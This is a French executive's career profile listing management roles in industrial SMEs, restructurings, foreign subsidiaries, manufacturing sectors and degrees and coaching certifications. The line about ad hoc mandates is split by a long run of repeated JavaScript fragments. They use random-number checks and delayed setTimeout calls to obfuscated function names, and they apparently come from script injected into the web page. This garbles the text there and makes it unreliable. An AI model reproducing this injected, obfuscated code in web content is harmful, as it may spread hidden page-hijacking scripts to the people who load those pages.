Références

Opérationnelles

  • Direction Générale de PME/ETI Industrielles : de 1988 à 2016
    • CA géré de 10 à 120 millions d’Euros
    • Effectif direct de 40 à 600 personnes
    • Nombre de sites sous responsabilité : de 1 à 6 dont jusqu’à 5 à l’étranger
  • 2 plans de restructuration : -170 et -100 personnes
  • 2 LBO  (primaire et secondaire) avec cession industrielle
  • 2 mandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andats ad’hoc
  • 1 plan de sauvegarde

Internationales

  • Gestion de filiales et JV à l’étranger : Angleterre, Pologne, Espagne
  • Mise en place et développement de filiales à participation majoritaire en Inde, Iran, Chine et Angleterre
  • Mise en place et développement d’une JV 50/50 en Afrique du Sud
  • Restructuration, mise en redressement et cession au management d’une filiale en Angleterre
  • Développement d’un réseau de 25 agents dans le monde
  • Membre de Comex Internationaux (Europe, Etats-Unis)

Sectorielles et technologiques

  • Pièces structurales en matériaux composites pour les marchés de l’aéronautique, les sports nautiques et automobile, le médical, la recherche nucléaire, la robotique (fabrication par enroulement filamentaire et moulage par autoclave)
  • Peintures de protection et mastics d’étanchéité pour avions civils et militaires
  • Étiquettes plastiques et papiers pour la décoration d’emballages agroalimentaires (fabrication par impression offset et injection plastique)
  • Emballages plastiques pour les industriels de la chimie : bidons, fûts, conteneurs (fabrication par extrusion soufflage)
  • Produits en bois de première et deuxième transformation – bois brut pour ossatures bois, planchers, lambris, moulures (fabrication par sciage, rabotage, vernissage)
  • Pièces d’équipements en acier inoxydable pour les marchés de l’industrie du papier, du traitement d’eau, de l’agroalimentaire, la production du pétrole et du gaz (complétion), le raffinage et la pétrochimie, l’architecture (fabrication par bobinage, usinage et chaudronnerie inox)

Académiques

  • Ingénieur de l’Université de Technologie de Compiègne (1985), titulaire du Master of Sciences du Cranfield Institute of Technology – Angleterre (1985) et du MBA du Groupe HEC (1993)
  • Formé au coaching en entreprise : Coach Professionnel Certifié CPCC/ACC (2015), Certifié Executive Coaching des Organisations HEC (2016), membre de la Fédération Internationale de Coaching (ICF)
  • Membre APIA (Administrateurs Professionnels Indépendants Associés) et IFA (Institut Français des Administrateurs) depuis 2013

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